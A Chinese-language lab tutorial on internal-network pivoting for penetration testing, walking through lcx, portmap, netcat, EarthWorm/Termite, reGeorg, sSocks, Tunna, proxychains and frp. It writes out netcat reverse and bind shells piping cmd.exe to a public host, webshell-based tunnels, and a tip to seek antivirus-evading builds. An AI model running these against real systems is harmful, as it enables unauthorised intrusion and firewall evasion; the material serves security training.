一、LCX
lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,
Windows版使用方法如下:
lcx有两大功能:
1)端口转发(listen和slave成对使用)
2)端口映射(tran)
1、lcx 内网端口转发
1.内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口
例如:lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389
意思是把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口
2.公网主机 上执行 Lcx.exe –listen 公网主机端口1 公网主机端口2
例如:lcx.exe –listen 4444 5555
意思是监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口。此时,RDP 连接,Windows 命令行下输入mstsc,即可打开远程桌面连接:
如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;如果是在本地主机上操作,则输入 公网主机ip:5555 ,然后输入用户名和密码,即可连接到内网主机。
2、本地端口转发
由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,
目标主机上执行:lcx -tran 53 目标主机ip 3389
这时我们可以直接远程桌面连接到到 目标主机IP:53
注:软件可能会被杀软查杀,可自行寻找免杀版本。
Linux版使用方法:
例如:
先在具有公网ip的主机上执行:
./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777
意思是监听来自6666端口的请求,将其转发到7777端口
再在内网主机上执行:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666
意思就是将内网主机22端口的流量转发到公网主机的6666端口。
然后在Linux系统命令行下执行
ssh 公网主机ip 7777
即可连接内网主机。
实验一:LCX端口转发
- 正向转发
内网主机执行:lcx.exe –slave 公网主机IP 公网主机端口 内网主机IP 内网主机端口
外网主机执行:Lcx.exe –listen 公网主机端口1 公网主机端口2
- 反向转发
外网主机执行:Lcx.exe -tran 53 目标主机IP 3389
实验二:PORTMAP端口转发
- 正向转发
内网主机执行:./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666
外网主机执行:./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777
- 反向转发
外网主机执行:./portmap -m1 -p1 6666 -h2 目标主机IP -p2 22
二、nc 反弹
nc使用方法:
反向连接
在公网主机上进行监听:
nc -lvp 4444
在内网主机上执行:
nc -t -e cmd.exe 公网主机ip 4444
上述命令中 -t 参数是指通过telnet模式执行cmd.exe,可省略。
成功后即可得到一个内网主机的cmd shell。
正向连接
远程主机上执行:
nc -l -p 4444 -t -e cmd.exe
本地主机上执行:
nc -vv 远程主机ip 4444
成功后,本地主机就获得了远程主机的一个cmd shell。
实验三:NC反弹
- 反向连接
在公网主机进行监听:nc -lvp 4444
在内网主机执行:nc -t -e cmd.exe 公网主机IP 4444
- 正向连接
远程主机执行:nc -l -p 4444 -t -e cmd.exe
攻击主机执行:nc -vv 远程主机IP 4444
三、socks代理工具
1). Termite 是EW(EarthWorm)的最新版,官方链接: http://rootkiter.com/Termite/
主要特性: 多平台支持、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便
使用方法,以Windows平台为例:
管理端:
客户端:
客户端执行:
agent_windows_x86.exe -l 4444
管理端执行:
admin_windows_x86.exe -c 127.0.0.1 -p 4444
将新的agent加入拓扑:
agent_windows_x86.exe -c 127.0.0.1 -p 4444
具体使用方法可参考: http://rootkiter.com/Termite/README.txt
Usage
1.以服务模式启动一个agent服务。
$ ./agent -l 8888
2.令管理端连接到agent并对agent进行管理。
$ ./admin -c 127.0.0.1 -p 8888
3.此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。
help
4.通过show指令可以得到当前agent的拓扑情况。
show 0M ±- 1M 由于当前拓扑中只有一个agent,所以展示结果只有 1M , 其中1 为节点的ID号, M为MacOS系统的简写,Linux为L,Windows简写为W。
5.将新agent加入当前拓扑
./agent -c 127.0.0.1 -p 8888
6.此时show指令将得到如下效果 0M ±- 1M | ±- 2M 这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。
7.在2节点开启socks代理,并绑定在本地端口
goto 2 将当前被管理节点切换为 2 号节点。socks 1080 此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。
8.在1号节点开启一个shell并绑定到本地端口
goto 1shell 7777 此时,通过nc本地的 7777 端口,就可以得到一个 1 节点提供的 shell.
9.将远程的文件下载至本地
goto 1downfile 1.txt 2.txt 将1 节点,目录下的 1.txt 下载至本地,并命名为2.txt
10.上传文件至远程节点
goto 2upfile 2.txt 3.txt 将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt
11.端口转接
goto 2 lcxtran 3388 10.0.0.1 3389 以2号节点为跳板,将 10.0.0.1 的 3389 端口映射至本地的 3388 端口
视频教程:
http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4
http://rootkiter.com/toolvideo/toolmp4/2socks.mp4
http://rootkiter.com/toolvideo/toolmp4/3lcxtran.mp4
http://rootkiter.com/toolvideo/toolmp4/4shell.mp4
http://rootkiter.com/toolvideo/toolmp4/5file.mp4
2). reGeorg 工具地址: https://github.com/sensepost/reGeorg
reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
使用方法(详见github):
3). sSocks 工具地址: http://sourceforge.net/projects/ssocks/
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.14
下载解压后,执行命令编译。
./configure && make
(这里我提供的压缩包中该软件是已经编译好的!)
编译完成,进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks,其功能说明介绍如下:
程序功能:
nsocks 类似通过Socks5代理后的netcat,可用来测试socks server ssocksd 用来开启Socks5代理服务 ssocks 本地启用Socks5服务,并反弹到另一IP地址 rcsocks 接收反弹过来的Socks5服务,并转向另一端口
使用示例:
公网主机上执行:
./rcsocks -l 4444 -p 5555 -vv
内网主机上执行:
./rssocks –vv –s 公网主机ip:5555
这时本地主机可以通过访问公网主机的 4444 端口访问内网主机。
4). proxychains 工具地址址:http://proxychains.sourceforge.net/
Ubuntu 下可直接执行以下命令安装:
sudo apt-get update
sudo apt-get install proxychains
Proxychains 是一款 LINUX 平台下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxy chain 可使用不同类型的代理服务器。
网上有很多该工具的使用介绍,请自行根据需要查找。
5). Tunna 工具地址: https://github.com/SECFORCE/Tunna
该工具使用的先决条件:
能够在远程服务器上上传webshell
使用方法:
python proxy.py -u -l [options]
- . options:
–help, -h 显示此帮助信息并退出
–url=URL, -u URL 为远程webshell的URL
–lport=LOCAL_PORT, -l LOCAL_PORT代表本地侦听端口
–verbose, -v 详细(输出数据包大小)
–buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)
- . No SOCKS Options:
如果使用SOCKS代理,选项将被忽略
–no-socks, -n 不使用 Socks 代理
–rport=REMOTE_PORT, -r REMOTE_PORT远程服务端口,供webshell连接
–addr=REMOTE_IP, -a REMOTE_IP 远程webshell连接到的地址(默认为 127.0.0.1)
- . 上游代理选项:
通过本地代理进行隧道连接
–up-proxy=UPPROXY, -x UPPROXY上游代理(http://proxyserver.com:3128)
–auth, -A 上游代理需要认证
- . No SOCKS Options:
如果使用SOCKS代理,选项将被忽略
–no-socks, -n 不使用 Socks 代理
–rport=REMOTE_PORT, -r REMOTE_PORT远程服务端口,供webshell连接
–addr=REMOTE_IP, -a REMOTE_IP 远程webshell连接到的地址(默认为 127.0.0.1)
- . 高级选项:
–ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5)
–start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH)
–cookie, -C 请求cookies
–authentication, -t 基本认证
- . 使用方法示例:
内网主机为Windows:
python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v
12 ) . 其中:
-l 表示本地监听的端口
-r 远程要转发的端口
-v 详细模式
如果内网主机为Linux,则可以将22端口转发出来,更详细的使用方法请参考github上面的说明。
实验四:EW工具使用
端口转发
-
反向转发
./ew_for_Linux64 -s lcx_tran -l 1080 -f 内网主机IP -g 3389
实验结果:
-
正向转发
公网执行:ew -s lcx_listen -l 1080 -e 8080
内网执行:ew -s lcx_slave -d 192.168.0.31 -e 8080 -f 192.168.5.101 -g 22
实验结果:
流量转发
-
正向代理
ew -s ssocksd -l 8888 开启 8888端口的socks 代理这里插入图片描述](https://img-blog.csdnimg.cn/20210526214716686.jpg)
实验结果:
-
反向代理
1.在公网服务器上执行以下命令:
ew -s rcsocks -l 1080 -e 1024 监听本机的1080端口转发到反连1024端口的主机
2在目标机器执行以下命令:
ew -s rssocks -d 公网IP -e 1024 通过socks隧道连接公网IP的1024端口
实验结果:
实验五:reGeorg+Proxychains
步骤一:服务器操作
yum -y install httpd php
Tunnel.nosockets.php—>/var/www/html
步骤二:客户端操作
http://81.70.149.131/tunnelnos.php
回显内容:Georg says, ‘All seems fine’
python2 reGeorgSocksProxy.py -p 8080 -u http://81.70.149.131/tunnelnos.php
步骤三:Proxychains配置
vi /etc/proxychains4.conf
52 #proxy_dns
115 socks5 127.0.0.1 8080
步骤四:验证配置
proxychains curl http://10.0.8.12/
proxychains msfconsole
实验结果:
四、frp 内网穿透利器
frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。
工具地址: https://github.com/fatedier/frp
frp 的作用
利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务。
对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。
利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。
实验六:FRP 内网穿透
步骤一:公网主机配置
#frps.ini文件内容配置如下
[common]
bind_addr=0.0.0.0
bind_port = 7000authenticate_heartbeats = true
authenticate_new_work_conns = true
authentication_method = token
token = ‘123456’dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin888
./frps -c frps.ini #启动服务端
http://公网IP:7500/ #登录WEB控制端
步骤二:内网主机配置
#frpc.ini文件内容如下
[common]
server_addr = 1.1.1.1
server_port = 7000
authenticate_heartbeats = true
authenticate_new_work_conns = true
authentication_method = token
token = ‘123456’[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 6000
frpc.exe -c frpc.ini #客户端与服务端建立连接
步骤三:配置验证
mstsc 1.1.1.1:6000 #进行内网主机RDP登录
实验结果: